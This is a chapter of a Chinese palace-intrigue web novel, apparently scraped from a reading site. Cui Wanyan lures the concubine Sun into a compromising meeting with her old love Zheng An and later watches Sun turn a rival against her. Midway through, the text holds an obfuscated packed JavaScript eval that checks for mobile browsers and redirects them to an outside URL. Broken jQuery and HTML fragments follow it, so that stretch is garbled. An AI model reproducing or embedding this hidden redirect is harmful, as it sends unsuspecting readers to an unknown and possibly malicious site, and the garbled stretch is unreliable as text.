39. 蠢蠢欲动

作品:《偏执王爷今天火葬场了吗

    国公府内,正经主子们皆随崔晋进宫赴宴,院落里便也松懈下来。门房靠在门柱上打着盹,仆妇们三三两两聚在角落里说笑,毫无平日里拘谨的模样。


    撷芳院却是一派冷清。孙氏卧病在榻,呼吸急促脸色苍白如纸,几次欲唤人,可嗓音沙哑无力,只能在昏沉里断断续续吐出几个字。


    丫鬟早被灵绣收买,嘴上答应去请大夫,却在院门口兜了一圈又折返,孙氏烧得更厉害,渐渐失了神智,昏迷过去。


    灵绣坐在榻前,拭了拭眼角低声呜咽,作态十足。


    出了院门,她哭得更大声些,见郑安自前廊经过,便捂帕子轻声抽泣:“孙姐姐这回……怕是熬不过了。”


    话音刚好落进郑安耳中。


    他神色陡然一变,忙上前追问:“你说什么?孙姨娘怎么了?”


    灵绣垂着泪:“孙姨娘这回烧得不清醒,大夫说……今晚怕是熬不过去了。”


    “什么!?”郑安脑中闪过那张总是温婉含笑的面容,胸口一阵闷痛。


    展颜病得这样重,府内竟连个像样的照看都没有。


    灵绣似是早料到一般,轻轻叹息抹泪走远。


    院门口本该有的丫鬟护院,此刻不见踪影,整个撷芳院静得出奇。


    夜色深沉,郑安在廊下踱步,理智在耳边一遍遍提醒,他是外男,闯进内院一旦被人撞见,累及展颜清誉尽毁。


    可另一道声音却更强烈。


    若真就此袖手,她或许今夜便再难睁眼。


    胸腔里那口气终于压不住,心头像有火烧,他咬紧牙关,明知此举不妥,还是一步跨过门槛。


    院内烛影昏黄,静得只听见病榻上断续的喘息声。


    孙氏鬓发散乱,面色惨白唇角干裂,薄被滑到腰侧,胸口起伏微弱,呼吸声断断续续。


    郑安伸手想替她掖好被角,指尖触到衣角那一瞬,却又收了回来。


    他怎能如此失礼?若被旁人瞧见,他与她都将被毁。


    可见她那般病容,他心里更乱,额头青筋突突直跳,胸口压抑得快要喘不过气。终究,他还是颤着手,把那被子轻轻拉好,替她掖在颈下。


    孙氏听到动静,缓缓睁开眼,眼前一片模糊,只觉有人在身侧低低喘息,带着熟悉的气息。


    她迷迷糊糊地喃了一声:“……是你吗?”


    “阿颜是我。”


    孙氏眼尾缓缓渗出泪来:“我以为……你再也不会来了,安哥哥,我好冷……”


    郑安眼见她病成这般模样,心头早已软得一塌糊涂,抬手将她抱住:“别怕,我在。”


    二人温存了许久,孙氏附在他怀中哽咽:“我一直忘不了你,那年在潞州……你背我过水,我就想着,将来若能一直这样该多好。可我等啊等……你却不再看我一眼。你知道吗,我在国公府里日日担惊受怕,从前夫人看不惯我,如今失了宠,连丫鬟都敢蹬鼻子上脸,还有那崔莞言,就是她故意将你请来的……”


    郑安听后心痛如绞,“你受苦了,是我没用,没能考取功名……”


    他伸手想替她擦泪,指尖才触到她的脸,却听见院外一阵脚步声。


    孙氏猛地清醒,原本松开的手指瞬间收紧,死死抓住了床褥,哑声道:“你快走。”


    她强撑着坐起身,目脸上那点虚弱早已褪尽,取而代之的是惊惧。


    这……是个局!崔莞言这会儿定是带着崔晋老捉奸,贱人好狠的心,害她还不够,郑安无辜竟也一并算计。


    “再不出去就来不及了!”


    郑安还想说话,却被她眼神死死盯住。


    “走!”她低吼一声。


    脚步声越来越近,孙氏的心提到了嗓子眼,正当门吱呀一声时,郑安急急从窗子翻出去,隐在夜色中。


    她还未喘匀,便见一道纤瘦娉婷的身影缓步而入,月光从她身后照进来,落在那张白净的脸上,映出温婉笑意。


    “姨娘病得厉害,我这做小辈的,总得亲自来看一看。”


    孙氏眼神冷下来:“你怎么一个人来的?”


    她目光凌厉地扫向门后,又看向窗边,强撑着身子坐直,嗤笑一声:“怎么?没叫老爷一起来捉奸?”


    崔莞言轻轻一笑,坐在她床前,开口仍带着温意:“姨娘何苦如此心虚?我不过来探个病而已,姨娘便喊着‘捉奸’二字,传出去岂不惹人非议?”


    孙氏一口气堵在胸口,脸色涨得发白,手指紧紧攥着锦被,咬牙低吼:“你就是想利用郑安毁我!你设这一局,是想把我们一并送进火坑里是不是?!”


    崔莞言笑容不减,孙氏可真是爱郑安爱得彻底,她早就查得清清楚楚,当年孙氏早看出父兄有意用她换仕途,曾求郑安带她远走高飞,可郑安那懦夫却害怕身败名裂硬是不肯,独自一个人云游去了,如今这般难舍难分,叫人以为他是个多深情的人呢,可惜嘴上冠冕堂皇,到底也不是什么好东西。


    “我倒是没想到,你对他旧情未了到这种地步。原是想逼你取舍,如今看来……或许一起死,才干净。”


    “你疯了!”孙氏声音发颤,眼中盛满惊怒,“你怎么敢!你敢动他,我做鬼都不会放过你!”


    “你当真觉得郑安这些年一直为你守身如玉么?”


    “你什么意思?”


    “姨娘你在国公府这么久,还是看不透人心,庄氏利用你,我爹只把你当玩物,就连你那心心念念的旧情人也不过是……”话说到一半,崔莞言却不再继续,只是停下来一笑。


    孙氏死死盯着她,不可能!郑安对她一心一意,这么多年都不肯娶妻,一定是这贱人挑拨离间!


    “你到底要怎样才肯放过他?”


    “很简单。你死,他活。”


    孙氏僵在原地,片刻后剧烈地咳了起来,几乎喘不上气。


    崔莞言静静地看着她,目光里竟没有多少愤怒,只有一种淡淡的怜悯,像是在看一只将死的雀儿。


    “你还病着,身子要紧,先把这口气缓过来,将来的日子还长呢,我不急。”


    她说着起了身,替孙氏掖了掖滑落的被角。


    “你且好好歇着,接下来可得养足精神。从今往后,你活着的每一天,都得记着,你活,是因为我还没想让你死。”


    话落,她拨开帘子,步履从容离开。


    屋内只余孙氏一人,汗湿了鬓发,连骂人的力气都没有。


    她想不明白,难道只因为她帮了庄氏一回,崔莞言就要她去死吗?可她手中又又什么筹码能叫崔莞言放过她,放过郑安?</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324426|181516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    -


    修养了几日,孙氏的病已然大好,晨起刚出院门,便听说崔晋带着崔时出去议事,老太太也照例往护国寺礼佛,府里倒成了崔莞言天下。


    那丫头的手段她已见识过,不能坐以待毙。


    她方走至前厅,就听见一阵吵闹。谢清菱正对着个小丫鬟破口大骂。


    “你个贱蹄子,是不是眼睛长歪了?谁教你这般端茶的规矩!”谢清菱手中绢帕一甩,怒火中烧,唤住身旁婆子,“打!给我打醒她!”


    小丫鬟跪在地上不住磕头,眼泪一串串滚落下来:“奴婢知错了……求少夫人饶命……”


    “饶你?你一个下贱的贱蹄子也敢求饶?!”谢清菱指甲抓得咯咯响,眼神像能剜人,“主子都伺候不好,要你有何用!”


    她唇角狠意分明,分明是借着这点小错将积压的憋屈尽数发泄出来。


    孙氏坐在旁边,慢吞吞抿了一口茶,似有若无地瞥了眼那边,也不插话。


    厅中下人皆噤若寒蝉,就在谢清菱扬起手时,一道温和女声淡淡响起:“二嫂这是做什么?”


    崔莞言稳步踏入厅中,未施粉黛衣袍素雅,衬得人愈发清冷端凝。


    谢清菱手势顿住,回头看到她,脸色瞬间变了。


    崔莞言径直走到那小丫鬟跟前,将人从地上扶起:“她昨儿才进府,是祖母指名留下的,还未熟门熟路,你这一顿打下去,若伤着脸,回头怎交待?”


    谢清菱冷笑:“莞言妹妹倒是好气度,莫非在你那院里,不分尊卑只看谁可怜?”


    “我只看是非。”


    这话无异于当众打脸。


    谢清菱眼底寒意一闪,抬眸欲言却终究忍下。


    崔莞言可是老太太的心头肉,一向在府中横着走,若真翻了脸,只怕她这个少夫人也落不着好处。


    她暗暗咬牙,绷着唇勾出一个笑来:“妹妹既然开了口,我自不会与一个下人计较。”


    说罢重重甩袖,坐回位上。


    孙氏收在眼底,心里却是一凛。


    谢清菱那点小心思根本不值一提,真正可怕的,是眼前这个不动声色、却总能拿捏人心的姑娘,她不敢想,崔莞言会用怎样恶毒的手段对付她。


    崔莞言走后,孙氏原也想回院,却见谢清菱直勾勾盯着那离去的背影,眼中的怨恨要溢出来了。


    这蠢货,倒适合用来牵制崔莞言。


    傍晚时分,天色尚未暗尽,谢清菱便气冲冲地出了府。


    消息传回南院时,崔莞言正在窗前细读新送来的账册。灵绣低声在她耳边说了句,她指尖翻页的动作一顿,继而露出一丝若有若无的笑意。


    灵绣低眉顺眼:“看她那样子,像是刚知道了什么天大的事。”


    崔莞言轻轻“嗯”了一声,将账册合上,眼神落在窗外渐暗的天色中。


    谢清菱的反应再意料之中不过。府中能让她如此失态的,除了崔时,别无他人。至于消息从何而来……


    “看来孙氏忍不住了。”


    孙氏迟早会拿谢清菱这颗棋子开局,只是没想到她会挑在这个节骨眼将崔时在外养了女人的消息递出去。


    很好。


    比她想得还要迫不及待些。


    “去看看热闹。”